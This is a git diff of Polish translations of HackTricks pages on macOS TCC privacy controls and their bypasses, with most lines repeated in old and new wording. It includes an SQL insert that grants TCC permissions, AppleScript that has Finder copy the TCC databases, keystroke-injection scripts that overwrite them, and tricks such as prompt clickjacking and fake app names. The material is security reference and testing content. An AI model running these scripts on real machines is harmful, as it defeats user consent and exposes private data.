* **`auth_value`** może mieć różne wartości: denied(0), unknown(1), allowed(2) lub limited(3).
* **`auth_reason`** może przyjąć następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12).
* Pole **csreq** służy do wskazania, jak zweryfikować binarny plik do wykonania i przyznać uprawnienia TCC:
* Wartość **`auth_value`** może przyjmować różne wartości: denied(0), unknown(1), allowed(2) lub limited(3).
* Pole **`auth_reason`** może przyjąć następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* Pole **csreq** wskazuje, jak zweryfikować binarny plik do wykonania i przyznać uprawnienia TCC:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -191,9 +190,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
* Aby uzyskać więcej informacji na temat **innych pól** tabeli, [**sprawdź ten wpis na blogu**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
* Aby uzyskać więcej informacji na temat **innych pól** tabeli, [sprawdź ten post na blogu](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Możesz również sprawdzić **już udzielone uprawnienia** dla aplikacji w `Preferencje systemowe --> Bezpieczeństwo i prywatność --> Prywatność --> Pliki i foldery`.
Możesz również sprawdzić **udzielone już uprawnienia** dla aplikacji w `Preferencje systemowe --> Bezpieczeństwo i prywatność --> Prywatność --> Pliki i foldery`.
{% hint style="success" %}
Użytkownicy _mogą_ **usuwać lub zapytać o zasady** za pomocą **`tccutil`**.
@ -209,9 +208,7 @@ tccutil reset All
```
### Sprawdzanie podpisów TCC
Baza danych TCC przechowuje identyfikator pakietu (Bundle ID) aplikacji, ale także przechowuje informacje o podpisie, aby upewnić się, że aplikacja, która prosi o uprawnienia, jest właściwa.
{% code overflow="wrap" %}
Baza danych TCC przechowuje identyfikator pakietu aplikacji, ale przechowuje także informacje o podpisie, aby upewnić się, że aplikacja prosząca o użycie uprawnienia jest właściwa.
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -226,17 +223,17 @@ csreq -t -r /tmp/telegram_csreq.bin
{% endcode %}
{% hint style="warning" %}
Dlatego inne aplikacje o tej samej nazwie i identyfikatorze pakietu nie będą miały dostępu do przyznanych uprawnień innym aplikacjom.
Dlatego inne aplikacje o tej samej nazwie i identyfikatorze pakietu nie będą mogły uzyskać dostępu do udzielonych uprawnień innym aplikacjom.
{% endhint %}
### Uprawnienia i zezwolenia TCC
Aplikacje **nie tylko muszą** żądać i otrzymać **dostęp** do niektórych zasobów, muszą również **mieć odpowiednie uprawnienia**.\
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera` do żądania **dostępu do kamery**. **Aplikacja**, która **nie ma tego uprawnienia**, nie będzie miała dostępu do kamery (i użytkownik nie zostanie nawet poproszony o zezwolenie).
Aplikacje **nie tylko muszą** **żądać** i uzyskać **dostęp do** niektórych zasobów, muszą także **posiadać odpowiednie uprawnienia**.\
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera` do żądania **dostępu do kamery**. **Aplikacja**, która nie ma tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (i użytkownik nie zostanie nawet poproszony o zezwolenie).
Jednakże, aby aplikacje miały **dostęp** do **określonych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, nie potrzebują żadnych **konkretnych uprawnień**. System automatycznie obsłuży dostęp i **poprosi użytkownika** o zezwolenie, jeśli będzie to konieczne.
Jednakże, aby **uzyskać dostęp** do **określonych folderów użytkownika**, takich jak `~/Pulpit`, `~/Pobrane` i `~/Dokumenty`, nie potrzebują one żadnych konkretnych **uprawnień.** System będzie przejrzysto zarządzał dostępem i **poprosi użytkownika** w razie potrzeby.
Aplikacje Apple **nie generują monitów**. Zawierają one **predefiniowane uprawnienia** na liście **uprawnień**, co oznacza, że **nigdy nie generują okienka dialogowego** ani nie pojawiają się w żadnej z **baz danych TCC**. Na przykład:
Aplikacje Apple **nie generują monitów**. Zawierają one **predefiniowane prawa** na swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okienka**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -247,15 +244,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
To zapobiec pytaniu Kalendarza o dostęp do przypomnień, kalendarza i książki adresowej.
To zapobiega to, aby Kalendarz poprosił użytkownika o dostęp do przypomnień, kalendarza i książki adresowej.
{% hint style="success" %}
Oprócz oficjalnej dokumentacji dotyczącej uprawnień, można również znaleźć nieoficjalne **ciekawe informacje na temat uprawnień** w [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
Oprócz oficjalnej dokumentacji dotyczącej uprawnień, można również znaleźć nieoficjalne **ciekawe informacje na temat uprawnień w** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
{% endhint %}
Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Nie ma publicznej listy, która definiuje wszystkie z nich, ale można sprawdzić ten [**znany zestaw**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Nie ma publicznej listy definiującej wszystkie z nich, ale można sprawdzić ten [**listę znanych**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service).
### Wrażliwe niechronione miejsca
### Czułe niechronione miejsca
* $HOME (sam)
* $HOME/.ssh, $HOME/.aws, itp.
@ -263,7 +260,7 @@ Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCS
### Intencja użytkownika / com.apple.macl
Jak wspomniano wcześniej, możliwe jest **udzielenie dostępu do pliku aplikacji przez przeciągnięcie i upuszczenie go**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony atrybut pliku**. Ten atrybut będzie **przechowywał UUID** zezwolonej aplikacji:
Jak wspomniano wcześniej, możliwe jest **udzielenie dostępu do pliku aplikacji poprzez przeciągnięcie i upuszczenie go**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut będzie **przechowywać UUID** zezwolonej aplikacji:
```bash
xattr Desktop/private.txt
com.apple.macl
@ -279,14 +276,14 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
Ciekawe jest to, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie przez tccd.
Jest ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie tccd.
Należy również zauważyć, że jeśli przeniesiesz plik, który umożliwia UUID aplikacji na innym komputerze, to nie przyzna dostępu do tej aplikacji, ponieważ ta sama aplikacja będzie miała różne UID.
Zauważ również, że jeśli przeniesiesz plik, który zezwala na UUID aplikacji na twoim komputerze, do innego komputera, ponieważ ta sama aplikacja będzie miała inne UID, nie uzyska dostępu do tej aplikacji.
{% endhint %}
Rozszerzony atrybut `com.apple.macl` **nie może zostać wyczyszczony** jak inne rozszerzone atrybuty, ponieważ jest **chroniony przez SIP**. Jednak, jak [**wyjaśniono w tym poście**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), można go wyłączyć, **kompresując** plik, go **usuwać** i **rozpakowując** go.
Rozszerzony atrybut `com.apple.macl` **nie może zostać wyczyszczony** jak inne rozszerzone atrybuty, ponieważ jest **chroniony przez SIP**. Jednak, jak [**wyjaśniono w tym poście**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), można go wyłączyć **kompresując** plik, go **usuwając** i ponownie go **rozpakowując**.
## Eskalacja uprawnień i bypassy TCC
## TCC Privesc & Bypasses
### Wstawianie do TCC
@ -294,7 +291,7 @@ Jeśli w pewnym momencie uda ci się uzyskać dostęp do zapisu w bazie danych T
<details>
<summary>Przykład wstawiania do TCC</summary>
<summary>Przykład wstawienia do TCC</summary>
```sql
INSERT INTO access (
service,
@ -336,9 +333,9 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
```
</details>
### TCC Payloady
### TCC Payloads
Jeśli udało Ci się dostać do aplikacji z pewnymi uprawnieniami TCC, sprawdź następującą stronę z payloadami TCC, aby je nadużyć:
Jeśli udało ci się dostać do aplikacji z pewnymi uprawnieniami TCC, sprawdź następną stronę z ładunkami TCC, aby je nadużyć:
{% content-ref url="macos-tcc-payloads.md" %}
[macos-tcc-payloads.md](macos-tcc-payloads.md)
@ -347,10 +344,10 @@ Jeśli udało Ci się dostać do aplikacji z pewnymi uprawnieniami TCC, sprawdź
### Automatyzacja (Finder) do FDA\*
Nazwa TCC uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
To konkretne uprawnienie TCC wskazuje również na **aplikację, którą można zarządzać** w bazie danych TCC (więc uprawnienia nie pozwalają na zarządzanie wszystkim).
To konkretne uprawnienie TCC wskazuje również **aplikację, która może być zarządzana** w bazie danych TCC (więc uprawnienia nie pozwalają na zarządzanie wszystkim).
**Finder** to aplikacja, która **zawsze ma FDA** (nawet jeśli nie pojawia się w interfejsie użytkownika), więc jeśli masz uprawnienia do Automatyzacji nad nim, możesz nadużyć jego uprawnień, aby **wykonać pewne czynności**.\
W tym przypadku Twoja aplikacja musiałaby mieć uprawnienie **`kTCCServiceAppleEvents`** nad **`com.apple.Finder`**.
**Finder** to aplikacja, która **zawsze ma FDA** (nawet jeśli nie pojawia się w interfejsie użytkownika), więc jeśli masz uprawnienia **Automatyzacji** nad nią, możesz nadużyć jej uprawnień, aby **wykonała pewne akcje**.\
W tym przypadku twoja aplikacja musiałaby mieć uprawnienie **`kTCCServiceAppleEvents`** nad **`com.apple.Finder`**.
{% tabs %}
{% tab title="Ukradnij bazę danych TCC użytkowników" %}
@ -365,7 +362,9 @@ duplicate file sourceFile to targetFolder with replacing
end tell
EOD
```
{% tab title="Ukradnij bazę danych TCC systemu" %}
{% endtab %}
{% tab title="Ukradnij bazę danych TCC systemów" %}
```applescript
osascript<<EOD
tell application "Finder"
@ -378,20 +377,20 @@ EOD
{% endtab %}
{% endtabs %}
Możesz to wykorzystać, aby **napisać własną bazę danych TCC użytkownika**.
Możesz to wykorzystać, aby **napisać własną bazę danych użytkownika TCC**.
{% hint style="warning" %}
Dzięki temu uprawnieniu będziesz mógł **poprosić Finder o dostęp do ograniczonych folderów TCC** i przekazać Ci pliki, ale o ile mi wiadomo, nie będziesz mógł zmusić Finder do wykonania dowolnego kodu, aby w pełni wykorzystać jego dostęp do FDA.
Dzięki tej uprawnieniu będziesz mógł **poprosić Finder o dostęp do ograniczonych folderów TCC** i przekazać ci pliki, ale o ile wiem, **nie będziesz mógł sprawić, by Finder wykonał dowolny kod** w celu pełnego wykorzystania swojego dostępu do FDA.
Dlatego nie będziesz w stanie wykorzystać pełnych możliwości FDA.
Dlatego nie będziesz mógł wykorzystać pełnych możliwości FDA.
{% endhint %}
Oto monit TCC, aby uzyskać uprawnienia Automatyzacji w stosunku do Finder:
To jest monit TCC o uzyskanie uprawnień Automatyzacji w Finderze:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
Zauważ, że ponieważ aplikacja **Automator** ma uprawnienie TCC **`kTCCServiceAppleEvents`**, może **kontrolować dowolną aplikację**, taką jak Finder. Dlatego mając uprawnienia do kontrolowania Automatora, możesz również kontrolować **Finder** za pomocą kodu podobnego do poniższego:
Zauważ, że ponieważ aplikacja **Automator** ma uprawnienie TCC **`kTCCServiceAppleEvents`**, może **kontrolować dowolną aplikację**, jak na przykład Finder. Dlatego mając uprawnienie do kontrolowania Automatora, możesz również kontrolować **Finder** za pomocą kodu podobnego do poniższego:
{% endhint %}
<details>
@ -418,9 +417,9 @@ EOD
```
</details>
To samo dzieje się z aplikacją **Edytor skryptów**, może ona kontrolować Finder, ale za pomocą AppleScriptu nie można zmusić go do wykonania skryptu.
To samo dotyczy aplikacji **Edytor skryptów,** może ona kontrolować Finder, ale za pomocą AppleScriptu nie można zmusić go do wykonania skryptu.
### Automatyzacja (SE) dla niektórych TCC
### Automatyzacja (SE) do niektórych TCC
**System Events może tworzyć Akcje folderu, a Akcje folderu mogą uzyskać dostęp do niektórych folderów TCC** (Pulpit, Dokumenty i Pobrane), więc skrypt jak poniższy może być wykorzystany do nadużycia tego zachowania:
```bash
@ -466,9 +465,9 @@ rm "$HOME/Desktop/file"
```
### Automatyzacja (SE) + Dostępność (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Finder'a, aby zmienić bazę danych TCC użytkownika lub nadać uprawnienia FDA dowolnej aplikacji (choć może być wymagane podanie hasła).
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Finder do zmiany bazy danych TCC użytkowników lub udzielenia FDA dowolnej aplikacji (choć może być wymagane podanie hasła).
Przykład nadpisania bazy danych TCC użytkownika przez Finder'a:
Przykład nadpisania bazy danych TCC użytkowników przez Finder:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -516,50 +515,50 @@ EOF
```
### `kTCCServiceAccessibility` do FDA\*
Sprawdź tę stronę, aby zobaczyć [**payloady do wykorzystania uprawnień dostępności**](macos-tcc-payloads.md#accessibility) w celu eskalacji uprawnień do FDA\* lub uruchomienia keyloggera na przykład.
Sprawdź tę stronę, aby zobaczyć [**payloady do nadużywania uprawnień dostępności**](macos-tcc-payloads.md#accessibility) w celu eskalacji uprawnień do FDA\* lub uruchomienia keyloggera na przykład.
### **Endpoint Security Client do FDA**
### **Klient zabezpieczeń końcowych do FDA**
Jeśli masz **`kTCCServiceEndpointSecurityClient`**, masz FDA. Koniec.
### System Policy SysAdmin File do FDA
### Polityka systemowa SysAdmin File do FDA
**`kTCCServiceSystemPolicySysAdminFiles`** pozwala na **zmianę** atrybutu **`NFSHomeDirectory`** użytkownika, który zmienia swoją folder domowy i tym samym umożliwia **ominięcie TCC**.
**`kTCCServiceSystemPolicySysAdminFiles`** pozwala na **zmianę** atrybutu **`NFSHomeDirectory`** użytkownika, co zmienia jego folder domowy i tym samym pozwala na **obejście TCC**.
### User TCC DB do FDA
### Baza danych użytkownika TCC do FDA
Uzyskanie **uprawnień do zapisu** w bazie danych **użytkownika TCC** nie pozwala na przyznanie sobie uprawnień **`FDA`**, tylko ta, która znajduje się w bazie danych systemowej, może to zrobić.
Uzyskanie **uprawnień do zapisu** w bazie danych **użytkownika TCC** nie pozwala na przyznanie sobie uprawnień **`FDA`**, tylko te, które znajdują się w bazie danych systemowej, mogą to zrobić.
Ale możesz **przyznać sobie prawa do automatyzacji Finder** i wykorzystać poprzednią technikę do eskalacji do FDA\*.
Ale możesz przyznać sobie **`Prawa automatyzacji do Finder`**, i nadużyć poprzedniej techniki, aby eskalować do FDA\*.
### **FDA do uprawnień TCC**
Pełny dostęp do dysku w TCC ma nazwę **`kTCCServiceSystemPolicyAllFiles`**
**Pełny dostęp do dysku** w TCC to **`kTCCServiceSystemPolicyAllFiles`**
Nie sądzę, że to jest prawdziwa eskalacja uprawnień, ale na wszelki wypadek, jeśli kontrolujesz program z uprawnieniami FDA, możesz **modyfikować bazę danych TCC użytkowników i przyznać sobie dowolny dostęp**. Może to być przydatne jako technika trwałości w przypadku utraty uprawnień FDA.
Nie sądzę, że to jest prawdziwa eskalacja uprawnień, ale na wszelki wypadek, jeśli kontrolujesz program z uprawnieniami FDA, możesz **zmodyfikować bazę danych użytkowników TCC i przyznać sobie dowolny dostęp**. Może to być przydatne jako technika trwałości w przypadku utraty uprawnień FDA.
### **SIP Bypass do TCC Bypass**
### **Ominięcie SIP do ominięcia TCC**
Baza danych systemowa TCC jest chroniona przez SIP, dlatego tylko procesy z odpowiednimi uprawnieniami będą mogły ją modyfikować. Dlatego jeśli atakujący znajdzie **SIP bypass** dla **pliku** (może modyfikować plik ograniczony przez SIP), będzie mógł:
Baza danych systemowa TCC jest chroniona przez **SIP**, dlatego tylko procesy z **określonymi uprawnieniami będą w stanie ją modyfikować**. Dlatego jeśli atakujący znajdzie **ominięcie SIP** w **pliku** (może modyfikować plik ograniczony przez SIP), będzie w stanie:
* **Usunąć ochronę** bazy danych TCC i przyznać sobie wszystkie uprawnienia TCC. Może na przykład wykorzystać dowolne z tych plików:
* **Usunąć ochronę** bazy danych TCC i przyznać sobie wszystkie uprawnienia TCC. Mógłby nadużyć dowolnego z tych plików na przykład:
* Baza danych systemowa TCC
* REG.db
* MDMOverrides.plist
Jednak istnieje inna opcja wykorzystania tego **SIP bypass do ominięcia TCC**, plik `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` to lista aplikacji wymagających wyjątku TCC. Dlatego jeśli atakujący może **usunąć ochronę SIP** z tego pliku i dodać swoją **własną aplikację**, aplikacja będzie mogła ominąć TCC.\
Jednak istnieje inna opcja nadużycia tego **ominięcia SIP do ominięcia TCC**, plik `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` to lista aplikacji, które wymagają wyjątku TCC. Dlatego jeśli atakujący może **usunąć ochronę SIP** z tego pliku i dodać swoją **własną aplikację**, aplikacja będzie mogła ominąć TCC.\
Na przykład, aby dodać terminal:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
```plaintext
AllowApplicationsList.plist:
```
Ten plik jest używany w systemie macOS do zarządzania listą aplikacji, które mają uprawnienia dostępu do chronionych danych użytkownika. Plik ten zawiera listę aplikacji, które zostały zezwolone na dostęp do takich danych, jak kontakty, kalendarz, lokalizacja itp.
Aby dodać aplikację do listy zezwoleń, należy edytować ten plik i dodać odpowiedni wpis dla danej aplikacji. Wpis ten powinien zawierać identyfikator pakietu aplikacji oraz uprawnienia, które aplikacja ma otrzymać.
Ważne jest, aby zachować ostrożność podczas edycji tego pliku, ponieważ nieprawidłowe modyfikacje mogą prowadzić do naruszenia prywatności użytkownika lub innych problemów z bezpieczeństwem.
```plaintext
ListaDozwolonychAplikacji.plist:
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -585,7 +584,7 @@ Ważne jest, aby zachować ostrożność podczas edycji tego pliku, ponieważ ni
### Bypassy TCC
{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)
[bypassy TCC w macOS](macos-tcc-bypasses/)
{% endcontent-ref %}
## Referencje
@ -597,14 +596,14 @@ Ważne jest, aby zachować ostrożność podczas edycji tego pliku, ponieważ ni
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,24 +1,24 @@
# Bypassy TCC w systemie macOS
# Bypassy TCC w macOS
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Według funkcjonalności
### Bypass zapisu
### Bypass Zapisu
To nie jest bypass, to po prostu sposób działania TCC: **Nie chroni przed zapisem**. Jeśli Terminal **nie ma dostępu do odczytu pulpitu użytkownika, nadal może na niego zapisywać**:
To nie jest bypass, to po prostu sposób działania TCC: **Nie chroni przed zapisem**. Jeśli Terminal **nie ma dostępu do odczytu Pulpitu użytkownika, nadal może w niego zapisywać**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -28,15 +28,34 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
Atrybut rozszerzony `com.apple.macl` jest dodawany do nowego **pliku**, aby umożliwić aplikacji twórcy dostęp do odczytu.
**Rozszerzony atrybut `com.apple.macl`** jest dodawany do nowego **pliku**, aby umożliwić aplikacji **twórcy** dostęp do odczytu.
### Ominięcie SSH
### TCC ClickJacking
Domyślnie dostęp przez **SSH miał "Pełny dostęp do dysku"**. Aby to wyłączyć, musisz mieć go wymienionego, ale wyłączonego (usunięcie go z listy nie usunie tych uprawnień):
Możliwe jest **umieszczenie okna nad monitem TCC**, aby użytkownik **zaakceptował** je niezauważenie. Możesz znaleźć PoC w [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### TCC Żądanie pod dowolną nazwą
Atakujący może **tworzyć aplikacje o dowolnej nazwie** (np. Finder, Google Chrome...) w pliku **`Info.plist`** i sprawić, że żądają dostępu do chronionego obszaru TCC. Użytkownik będzie myślał, że to legitymacyjna aplikacja prosi o ten dostęp.\
Co więcej, możliwe jest **usunięcie legitymacyjnej aplikacji z Docka i umieszczenie fałszywej na nim**, więc gdy użytkownik kliknie na fałszywą (która może używać tego samego symbolu), może ona wywołać legitymacyjną aplikację, poprosić o uprawnienia TCC i uruchomić złośliwe oprogramowanie, sprawiając, że użytkownik uwierzy, że to legitymacyjna aplikacja prosiła o dostęp.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
Więcej informacji i PoC znajdziesz tutaj:
{% content-ref url="../../../macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
{% endcontent-ref %}
### SSH Bypass
Domyślnie dostęp przez **SSH miał "Pełny dostęp do dysku"**. Aby to wyłączyć, musisz mieć to wymienione, ale wyłączone (usunięcie go z listy nie usunie tych uprawnień):
![](<../../../../../.gitbook/assets/image (569).png>)
Tutaj znajdziesz przykłady, jak niektóre **złośliwe oprogramowanie było w stanie ominąć tę ochronę**:
Tutaj znajdziesz przykłady, jak niektóre **złośliwe oprogramowanie mogły ominąć tę ochronę**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -46,35 +65,35 @@ Zauważ, że teraz, aby móc włączyć SSH, potrzebujesz **Pełnego dostępu do
### Obsługa rozszerzeń - CVE-2022-26767
Atrybut **`com.apple.macl`** jest przypisywany plikom, aby dać **pewnej aplikacji uprawnienia do odczytu**. Ten atrybut jest ustawiany, gdy **przeciągniesz i upuścisz** plik na aplikację lub gdy użytkownik **dwukrotnie kliknie** plik, aby otworzyć go za pomocą **domyślnej aplikacji**.
Atrybut **`com.apple.macl`** jest nadawany plikom, aby dać **pewnej aplikacji uprawnienia do odczytu**. Ten atrybut jest ustawiany, gdy użytkownik **przeciąga i upuszcza** plik na aplikację lub gdy użytkownik **podwaja kliknięcie** pliku, aby otworzyć go za pomocą **domyślnej aplikacji**.
Dlatego użytkownik mógłby **zarejestrować złośliwą aplikację**, aby obsługiwać wszystkie rozszerzenia i wywoływać usługi uruchamiania w celu **otwarcia** dowolnego pliku (w ten sposób złośliwy plik otrzyma uprawnienia do odczytu).
Dlatego użytkownik mógłby **zarejestrować złośliwą aplikację**, aby obsługiwała wszystkie rozszerzenia i wywołać usługi uruchamiania, aby **otworzyć** dowolny plik (więc złośliwy plik otrzyma dostęp do odczytu).
### iCloud
Dzięki uprawnieniu **`com.apple.private.icloud-account-access`** możliwa jest komunikacja z usługą XPC **`com.apple.iCloudHelper`**, która **udostępnia tokeny iCloud**.
Uprawnienie **`com.apple.private.icloud-account-access`** pozwala na komunikację z usługą XPC **`com.apple.iCloudHelper`**, która **udostępnia tokeny iCloud**.
**iMovie** i **Garageband** miały to uprawnienie i inne, które to umożliwiały.
**iMovie** i **Garageband** miały to uprawnienie i inne.
Aby uzyskać więcej **informacji** na temat wykorzystania uprawnienia do **uzyskania tokenów iCloud**, zapoznaj się z prezentacją: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Aby uzyskać więcej **informacji** na temat wykorzystania do **uzyskania tokenów iCloud** z tego uprawnienia, sprawdź prezentację: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automatyzacja
Aplikacja z uprawnieniem **`kTCCServiceAppleEvents`** będzie mogła **kontrolować inne aplikacje**. Oznacza to, że może wykorzystać uprawnienia przyznane innym aplikacjom.
Aplikacja z uprawnieniem **`kTCCServiceAppleEvents`** będzie mogła **kontrolować inne aplikacje**. Oznacza to, że może być w stanie **nadużyć uprawnień udzielonych innym aplikacjom**.
Aby uzyskać więcej informacji na temat skryptów Apple, sprawdź:
Aby uzyskać więcej informacji na temat Skryptów Apple, sprawdź:
